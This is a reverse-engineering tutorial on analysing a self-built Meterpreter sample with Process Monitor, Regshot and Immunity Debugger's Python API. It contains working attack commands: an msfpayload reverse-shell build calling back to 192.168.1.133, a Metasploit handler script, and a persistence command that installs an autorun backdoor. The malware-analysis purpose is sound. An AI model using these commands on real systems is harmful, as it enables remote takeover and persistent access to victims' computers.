Analysis of Malware Samples with the Immunity Debugger API
Introduction
Immunity Debugger is a debugger which is very much like Ollydbg. In this tutorial we'll present the Python API that Immunity Debugger uses for writing the plugins. Ollydbg has its own language for plugin development, while Immunity Debugger uses well known Python programming language, which makes the plugin development much easier than with Ollydbg.
Become a certified reverse engineer!
For the introduction to Immunity Debugger we'll use a reverse Meterpreter executable to gain total access over the computer. First we need to create the reverse Meterpreter executable, which we can do with the command below.
[bash]
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444 X > meterpreter.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LPORT"=>"4444", "LHOST"=>"192.168.1.133"}
We used the msfpayload command and instructed it to use the windows/meterpreter/reverse_tcp payload to connect back to the IP 192.168.1.133 on port 4444. Thus we need to open port 4444 on the 192.168.1.133 machine and listen for incoming Meterpreter session. To do that we need to create a new script meterpreter.rb with the following contents:
[plain]
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 0.0.0.0
set ExitOnSession false
exploit -j -z
We need to run the above script to actually open the required port on the required IP address. To do that, we can execute the command below:
[bash]
# msfconsole4.2 -r /root/meterpreter.rb
[*] Processing /root/meterpreter.rb for ERB directives.
resource (/root/meterpreter.rb)> use exploit/multi/handler
resource (/root/meterpreter.rb)> set PAYLOAD windows/meterpreter/reverse_tcp
resource (/root/meterpreter.rb)> set LPORT 4444
resource (/root/meterpreter.rb)> set LHOST 0.0.0.0
resource (/root/meterpreter.rb)> set ExitOnSession false
resource (/root/meterpreter.rb)> exploit -j -z
[*] Exploit running as background job.
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
After that, we need to copy the executable to some Windows virtual machine on the same subnet as the IP 192.168.1.133 and execute it. The Meterpreter session should be established successfully as can be seen on the output below:
[plain]
[*] Sending stage (752128 bytes) to 192.168.1.134
[*] Meterpreter session 1 opened (192.168.1.133:4444 -> 192.168.1.134:1622)
We can see that the Meterpreter session has been established from 192.168.1.134 to 192.168.1.133 on port 4444. To display the session we can issue the sessions -i command, which output is shown below:
[plain]
msf exploit(handler) > sessions -i
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 COMPUTER_1eleanor @ COMPUTER_1 192.168.1.133:4444 -> 192.168.1.134:1622
To actually interact with the session and execute commands on the target computer, we can execute the session -i 1 command, which will give us the Meterpreter shell. If we input the help command in the Meterpreter shell, all available commands will be printed. We need to know that Meterpreter is very powerful and can do most of the things we want on the target computer. We can execute normal commands as if we were on the terminal on the target computer, we can take screenshots, we can run a keylogger, etc.
Malware Analysis
When we first get our hands on the malware sample, we must roughly determine what the executable does and how it does it. In our case, the malicious malware sample is a reverse Meterpreter executable that we created in the previous article. Now we have to determine the basic things the reverse Metepreter does when started in a Windows environment. Because I know what the malware does, I won't set-up any additional malware analysis environment: a normal virtual machine with bridged Internet will suffice for the inspection.
If we don't know what the malware does, it may be best to try to use a different networking mode to not allow the malware sample to communicate with the outside world, since the attackers can then be alerted that we're actually analyzing the malware sample.
In the analysis we have to determine the following changes to the operating system:
- registry keys
- created/deleted files
- network communication
- processes and threads
We won't go into the details what each of the above points means, since they can be pretty overwhelming. Let's just say that we need to determine if the malware sample uses any registry keys whose value can alter the malware execution, if the malware creates or deletes and kind of files on the filesystem, and we also have to determine the IP addresses associated with the malware sample. It's good to reverse engineer the protocol being used in case it's using a custom protocol, but usually a well known protocol will be used, which we can remember for later analysis. It's also a good idea to determine the number of threads a process uses and if any other processes or services are started upon executing the malware.
There are various tools that we can use to find out more about the malware executable. One of those tools is a part of Sysinternals Suite and is called a Process Monitor. It supports filtering by various criteria, one of which is filtering by the process name. We can configure the filter as can be seen in the picture below to record only the changes made by the process named meterpreter.exe:
After that we can click a the magnifying glass in the Process Monitor to start the capture. When we press the magnifying glass, the capture will initialize, which will show up as a pop-up that will look like the picture below (notice the icon of the magnifying glass) :
After that we can start the malware executable meterpreter.exe, which will result in the following operation being recorded by the Process Monitor. The presented operations are not all of the operations performed by the meterpreter.exe, but just some of them (the rest were not presented for clarity of this article).
In the picture above we can see that the Process Name is meterpreter.exe (which should be the case, because we set that in the filter settings of the Process Monitor). The PID of the process is always 1368, so there is no additional process being started. The Operation column specifies the actions being done by the meterpreter.exe; we can see that the actions vary: images are being loaded (Load Image), files are being created (CreateFile), files are being read (ReadFile), etc.
We can obtain the information about the meterpreter's interaction with the registry if we click on Tools - Registry Summary. In the picture below, we can see that 170 entries were read from registry and 8 of them were written in the registry.
If we sort all the entries by Writes column, we can see the picture below:
There is one registry item with a path HKLMSOFTWAREMicrosoftCryptographyRNGSeed being written by the meterpreter.exe. If we double click on that entry, we can see the actual events that were recorded by the Process Monitor. Those events are displayed in the picture below:
The same registry value HKLMSOFTWAREMicrosoftCryptographyRNGSeed has been overwritten 8 times with the seed data displayed under the Detail column. This is most likely the seed being used by the malware for some cryptographic reason. If we take a look at the regedit, we can see the same value being displayed as the value of the Seed field. If we double-click on the Seed key, the whole value is displayed, as can be seen in the picture below:
We can conclude that the Seed value holds 0x50 (50*16 = 800) bytes of data, so a seed of 800 bytes is being used for some cryptographic function. So far we've gathered some information already, but we have just started analyzing the program. We could have looked over the registry keys being read from the system, but we won't do that now. Those registry keys are probably used to check whether the system is Windows and which version of Windows for malware to determine if it can successfully run itself and infect the system. If not, there's no point in running the malware, because it probably won't be able to infect the system successfully.
We already know that the meterpreter.exe communicates with our attacker machine with an IP 192.168.1.133 on port 4444 to establish the reverse Meterpreter shell. But how can we check that with the Process Monitor. To check the network diagnostics of the meterpreter.exe process, we can click on: Tools - Network Summary. That window is shown in the picture below:
We can see that the Process Monitor successfully identified that the meterpreter.exe communicated with the local IP address 192.168.1.133 in port 4444 and there were 6422 bytes sent and 944849 bytes received from that IP address. What happens is that meterpreter.exe initiates a connection to the 192.168.1.133 on port 4444 requesting a secondary shellcode to be downloaded. This is why there are almost 1MB of received bytes from the attacker machine: this is actually the secondary shellcode being downloaded.
But this isn't the end of the Process Monitor capabilities, there is more. The Process Monitor can even monitor malware executables that start upon booting the system. The problem with that is that malware samples can start their execution before we can actually start our Windows system and started the Process Monitor to start monitoring for malicious programs. But there is an option accessible in the: Options - Enable Boot Logging that does just that. It starts Process Monitor right after the creation of smss.exe, which is the first user-mode process being created when the system is booting up. If we click on the Options - Enable Boot Logging, the following pop-up dialog appears:
Ok, so the Process Monitor is configured to start monitoring the events as soon as the operating system starts the first user-mode process. But it's pointless to reboot the system now, because the meterpreter.exe doesn't create anything that will start at boot time, so we must first create a service that will be automatically started at boot time. Usually, we don't know this in advance, so we need to restart the operating system and observe the Process Monitor to see if anything happened when the operating system was booting. If it didn't then we can tweak the configuration options and restart the system again to verify that the boot service is still not present.
In our case, we know that the reverse Meterpreter shell by itself doesn't create any services that start at boot time to recreate the reverse Meterpreter session. The attacker has to create a service that will start at boot time. Let's create a service now by entering the Meterpreter session and executing the persistence script that will create the service, which will be executed at boot time. To do that we must execute the command bellow in an active Meterpreter session:
[plain]
> run persistence -U -i 5 -p 4444 -r 192.168.1.133
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/COMPUTER_1_20121105.0426/COMPUTER_1_20121105.0426.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444
[*] Persistent agent script is 612450 bytes long
[+] Persistent Script written to C:DOCUME~1eleanorLOCALS~1TemptwGgnvlymuY.vbs
[*] Executing script C:DOCUME~1eleanorLOCALS~1TemptwGgnvlymuY.vbs
[+] Agent executed with PID 2756
[*] Installing into autorun as HKCUSoftwareMicrosoftWindowsCurrentVersionRunGAHdBCdmZ
[+] Installed into autorun as HKCUSoftwareMicrosoftWindowsCurrentVersionRunGAHdBCdmZ
We won't go into detail how the boot service is actually being created, let's just enable the boot logging in Process Monitor and restart the operating system. When the operating system is restarted, we must start the Process Monitor to observe if any actions were executed upon starting the system. In the Metasploit, we can see new Meterpreter session being initialized, so we can be quite sure that the service is being run successfully. Upon starting the Process Monitor, we'll have to save the Bootlog file, which provides the operations being executed since starting the operating system, including the operations done by the meterpreter.exe. If we observe the operations closely, we can see that most of them are the same as they would be if we were to start the meterpreter.exe alone, which proves that the boot service only starts the meterpreter.exe to reestablish the reverse Meterpreter session.
We've seen that Process Monitor is quite a powerful tool, which can help us gather a lot of information about the malware executable. But we still don't know about the files being read/written by the executable. We could find out that by looking at the Process Monitor output to find that out, but there's a better tool for that; it's called Regshot. The Regshot tool scans the current system when we press on the "1sh shot" and saves the files, folders and registry keys. Then we need to execute the malware and execute the "2nd shot".
When the first scan is in process the Regshot will look like the picture below:
When the malware has been run and we've analyzed the system again, we need to press on Compare to compare the results of the first and second scan. If we do this with meterpreter, we'll receive the following results:
[plain]
----------------------------------
Values modified:4
----------------------------------
HKLMSOFTWAREMicrosoftCryptographyRNGSeed: BC 65 7F 8E E4 08 91 2C E1 C0 46 CD 12 ED C7 4C BF 96 EA 15 57 86 4C 58 76 1A 27 C2 ED F8 D6 57 90 92 C5 7C 52 6A B8 9D 6B A8 8D 4D B4 85 03 B7 AE FB D9 4E F6 F7 30 41 4E 42 30 53 96 C5 C1 7D 67 FF 4A C3 28 40 3B 9C 71 67 F9 EF DC 08 6F 66
HKLMSOFTWAREMicrosoftCryptographyRNGSeed: D9 FE C8 8A 69 E7 DF 61 85 A6 77 95 A5 41 60 68 BE 69 41 DF A7 98 DE 69 1C 62 3F F1 75 70 0C A3 2E 16 35 5B FA 6B 09 BB 05 F3 BC 56 DA 04 5F A9 72 34 BB A3 FA 70 81 A1 8B 22 50 F7 9B 31 90 FC 60 6D F0 16 5E 25 66 AD 78 C4 1F 3E AA 30 88 9F
HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{75048700-EF1F-11D0-9888-006097DEACF9}CountHRZR_EHACNGU: 04 00 00 00 3D 00 00 00 00 47 E0 99 81 BB CD 01
HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{75048700-EF1F-11D0-9888-006097DEACF9}CountHRZR_EHACNGU: 04 00 00 00 3E 00 00 00 10 DC F1 A1 81 BB CD 01
HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{75048700-EF1F-11D0-9888-006097DEACF9}CountHRZR_HVFPHG: 04 00 00 00 2B 00 00 00 80 60 84 98 81 BB CD 01
HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{75048700-EF1F-11D0-9888-006097DEACF9}CountHRZR_HVFPHG: 04 00 00 00 2C 00 00 00 A0 59 EE A1 81 BB CD 01
HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{75048700-EF1F-11D0-9888-006097DEACF9}CountHRZR_EHACNGU:P:Qbphzragf naq FrggvatfryrnabeQrfxgbczrgrecergre.rkr: 04 00 00 00 0D 00 00 00 90 95 27 C1 7F BB CD 01
----------------------------------
Files [attributes?] modified:5
----------------------------------
C:Documents and SettingseleanorNTUSER.DAT.LOG
C:WINDOWSPrefetchMETERPRETER.EXE-0526B000.pf
C:WINDOWSPrefetchREGSHOT.EXE-33F6B35D.pf
C:WINDOWSPrefetchWUAUCLT.EXE-399A8E72.pf
----------------------------------
Total changes:9
----------------------------------
We can see that the registry key HKLMSOFTWAREMicrosoftCryptographyRNGSeed has been changed two times and there are also some other registry keys, which probably don't belong to our meterpreter.exe, but the Internet Explorer. Windows creates the prefetch file when running an application. A prefetch file contains the information about the files loaded by the application. The operating system uses prefetch files to load the application faster the next time it is being run. We can view the prefetch files with the WinPrefetchView. The picture below shows us the contents of the METERPRETER prefetch file contained in the C:WINDOWSPrefetch directory.
We can see that whenever meterpreter.exe is being run, there are a lot of DLL that need to be loaded into memory: advapi32.dll, comctl32.dll, ctypt32.dll, etc. This proves that when running meterpreter.exe the secondary shellcode isn't downloaded as another program and then run, but it all happens in memory: secondary stage shellcode is downloaded and then executed.
Let's now repeat the last step and run the meterpreter to create a new session, enter into an interactive session and then execute the persistence script presented above. In this case the results from the Regshot as are follows:
[plain]
----------------------------------
Values added:1
----------------------------------
----------------------------------
Values modified:4
----------------------------------
HKLMSOFTWAREMicrosoftCryptographyRNGSeed: 34 CE B3 68 DD F8 CF 88 C1 27 ED 44 36 1D 6B CB E0 55 E7 FE AB B1 20 C0 A6 FA E4 C6 D2 ED E7 19 EE 2A DB F4 F6 FB F0 44 2E 4F F9 40 49 FB E5 1C BA E2 D3 9D D2 F7 D8 97 EB 8C 07 E9 62 FF 56 1F 2D 0E 84 D0 E0 5D 32 4A 26 7B CC 21 3B 83 84 1C
HKLMSOFTWAREMicrosoftCryptographyRNGSeed: 48 1D B2 7A 60 6B 08 4F E7 FC 98 01 4A 05 FE F5 07 C2 56 AD 6D F5 30 AA B4 20 9F 88 96 9F DA E8 CF 79 48 8A DF EE E5 8B 2E 14 29 16 18 02 65 F9 A2 6C 52 C8 77 0C 4D 60 4A EE AF 7F 69 33 8B 0D 39 03 DF D3 03 5A 3B D3 07 4E CB 31 8D C5 C2 1C
HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{75048700-EF1F-11D0-9888-006097DEACF9}CountHRZR_EHACNGU: 04 00 00 00 49 00 00 00 B0 A4 74 55 83 BB CD 01
HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{75048700-EF1F-11D0-9888-006097DEACF9}CountHRZR_EHACNGU: 04 00 00 00 4A 00 00 00 50 31 51 5B 83 BB CD 01
HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{75048700-EF1F-11D0-9888-006097DEACF9}CountHRZR_HVFPHG: 04 00 00 00 31 00 00 00 50 28 C1 53 83 BB CD 01
HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{75048700-EF1F-11D0-9888-006097DEACF9}CountHRZR_HVFPHG: 04 00 00 00 32 00 00 00 10 24 4E 5B 83 BB CD 01
HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{75048700-EF1F-11D0-9888-006097DEACF9}CountHRZR_EHACNGU:P:Qbphzragf naq FrggvatfryrnabeQrfxgbczrgrecergre.rkr: 04 00 00 00 0E 00 00 00 10 DC F1 A1 81 BB CD 01
----------------------------------
Files added:1
----------------------------------
----------------------------------
Files deleted:1
----------------------------------
----------------------------------
Files [attributes?] modified:9
----------------------------------
C:Documents and SettingseleanorNTUSER.DAT
C:Documents and SettingseleanorNTUSER.DAT.LOG
C:WINDOWSPrefetchCSCRIPT.EXE-1C26180C.pf
C:WINDOWSPrefetchMETERPRETER.EXE-0526B000.pf
C:WINDOWSPrefetchREGSHOT.EXE-33F6B35D.pf
C:WINDOWSsystem32CatRoot2edb.log
C:WINDOWSsystem32CatRoot2{F750E6C3-38EE-11D1-85E5-00C04FC295EE}catdb
C:WINDOWSsystem32configsoftware.LOG
----------------------------------
Total changes:16
----------------------------------
We can see one interesting thing. There is an additional registry key being added. If we open regedit and scroll down to the HKUS-1-5-21-1659004503-1606980848-1957994488-1003SoftwareMicrosoftWindowsCurrentVersionRun directory, we can see the keys seen in the picture below:
There is indeed a key named cRHkXTGob, which holds a value C:DOCUME~1eleanorLOCALS~1TempyqhSbKnUkb.vbs. This is also a file that is listed under the "Files Added" under the Regshot report. If we open this file in Notepad++, we can see a function named yPKPuOmGJxVw that contains a lot of shellcode as seen in the picture below:
This is a persistence script that gets run everytime we start the operating system and reestablishes access to the attacker machine by executing the meterpreter.exe malware again.
Keep in mind that if additional files/folders are added and deleted during the execution of the malware, the Regshot can't detect them, because it indexes the found files/folders when we press on its buttons when the malware is already done executing. It can only detect added files that were not deleted after the malware execution. If we want to also detect the added and deleted files during the execution of the malware, we must use different tools like RegFsNotify.exe.
Immunity Debugger
At last we must mention that we can get the most information about what the malware does if we debug it. In this case we'll use the Immunity Debugger and the Python API. We can open the Python shell by clicking on the icon that has a snake on it in Immunity Debugger. We can see the open Python shell in the picture below:
In the Python prompt we can type normal Python commands as we normally can in the Python interactive console, but additionally we can also invoke the functions provided by the Immunity Debugger API. We can invoke a function by prefixing it with the imm handle, which is automatically available when starting the Python shell within the Immunity Debugger.
To set a breakpoint on the connect function of Meterpreter executable, we have to execute the following command in the Python shell:
[python]
> imm.setBreakpoint(imm.getAddress("ws2_32.connect"))
> imm.Run()
After that we can run the Meterpreter executable and the execution will stop upon calling the connect function from the ws2_32.dll library. The picture below presents the state where the executaion was stopped exactly at that function at address 0x71AB4A07. On the status line we can also see a note that a breakpoiunt at WS2_32.connect has been hit and the program execution was paused.
There are various commands that we can use with the imm handle and some of them are listed below:
- imm.getRegs(): gets the current value of standard registers:
[plain]
> regs = imm.getRegs()
> regs['EIP']
4198912L
> hex(regs['EIP'])
'0x401200L'
We can see that we first read all the values of standard registers into the regs variable, then printed the value in register EIP, which was 4198912L, which is a decimal representation of the value. Later we presented the value in hexadecimal representation, which is 0x401200L. The values are the same, which can be easily confirmed: 0x401200 = 4*16^5 + 1*16^3 + 2*16^2 = 4198912.
- imm.getAllModules(): gets all modules currently loaded
[plain]
>mods = imm.getAllModules()
>for m in mods:
> print "Module:", m.name
Module: meterpreter2.exe
Module: ws2help.dll
Module: kernel32.dll
Module: msvcrt.dll
Module: secur32.dll
Module: wsock32.dll
Module: rpcrt4.dll
Module: advapi32.dll
Module: ntdll.dll
Module: ws2_32.dll
We can see all modules printed, each in its own line. There are a lot of commands we could also execute, but there's a better way of doing that with PyCommand plugin. PyCommand plugin introduces the scripts that contain the same commands as we would be executing in a Python shell.
PyCommands are special plugins for Immunity Debugger written in Python. The plugins are contained in the PyCommands directory under Immunity Debugger directory in Program Files as we can see in the picture below:
To invoke a specific plugin, all we need to do is run the command in Immunity Debugger as follows:
[plain]
!scanpe
Notice in the picture above that there is a plugin with a name scanpe.py? To invoke it we need to provide an exclamation mark ('!') followed by the name of the plugin as we already saw. When the scanpe plugin runs, it writes the following information to the Log Data window:
Let's write a simple plugin that sets the breakpoint on the connect function of the ws2_32.dll library. The code for such a module can look as something as simple as below:
[python]
#!/usr/bin/env python
__VERSION__ = '1.00'
ProgName = 'WS2Break'
ProgVers = __VERSION__
import immlib
def main(args):
imm = immlib.Debugger()
imm.setBreakpoint(imm.getAddress("ws2_32.connect"))
We can see that we imported the immlib that provides us with the imm handle that is required to work with Immunity Debugger. After that we're simply calling the setBreakpoint function on the ws2_32.connect the same as we did in a Python shell. Then we need to compile the plugin and run the following command in an Immunity Debugger:
[plain]
!ws2break
This will set a breakpoint on the connect function of the ws2_32.dll library. We can check if this is true by listing the breakpoints in the Immunity Debugger GUI. The picture below presents all the breakpoints set after running the above plugin:
There's only one breakpoint set and it's set on the connect function of the ws2_32.dll library. We should also mention that the breakpoint was set on the meterpreter executable that connects back to the attacker and spawns a new meterpreter session. After running the meterpreter.exe executable, the execution will stop at the connect function as can be seen in the picture below:
In the picture above we also presented the whole connect function of the ws2_32.dll library. The point of this exercise was to show that we can very easily write the Immunity Debugger plugin and start using it.
Conclusion
We've looked at a few techniques that can enable us to figure out more about the malware sample that we've got throughout any means available; we might as well be infected by the malware ourselves. We looked at how to figure out basic information about the malware behavior: its disk usage, registry usage, network activity, etc. At the end we also presented the PyCommands that can be used with Immunity Debugger to automate the malware analysis: at the end we must always use the debugger if we want to figure out the internals of malware behavior in detail.
Remember that using the above techniques is alright and can give us some quick information about the malware, but if we're serious about figuring out the most hidden functions of malware, we will always have to reverse engineer it. If we're dealing with a lot of malware samples it's better to automate this process and one of the ways to do that is by using the PyCommands that can simplify and automate our analysis.
References:
[1] WinPrefetchView, http://www.nirsoft.net/utils/win_prefetch_view.html.
[2] Intelligent debugging for Vulnerability Analysis and Exploit Development, https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-gomez.pdf.
Become a certified reverse engineer!
[3] Regshot user's guide, http://www.winpenpack.com/.